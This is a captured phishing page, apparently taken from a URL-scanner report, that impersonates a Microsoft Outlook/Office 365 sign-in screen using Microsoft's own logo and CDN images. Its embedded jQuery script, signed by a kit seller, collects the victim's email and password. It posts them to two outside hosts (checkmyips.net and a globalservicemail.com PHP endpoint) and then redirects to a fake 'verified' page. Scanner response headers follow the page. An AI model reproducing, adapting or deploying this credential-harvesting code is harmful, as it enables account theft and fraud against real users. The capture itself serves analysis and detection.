e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/371C) /
Resource Hash
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:28:00 GMT
content-encoding
gzip
content-md5
77s7HX/qO+HbHX0PjIhH1A==
age
2250912
x-cache
HIT
content-length
19615
x-ms-lease-status
unlocked
last-modified
Thu, 11 Feb 2021 19:27:28 GMT
server
ECAcc (lhd/371C)
etag
0x8D8CEC311CB1846
vary
Accept-Encoding
content-type
text/css
access-control-allow-origin
*
x-ms-request-id
8a081d76-e01e-0094-231f-017244000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		0
12 KB 		Other
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYC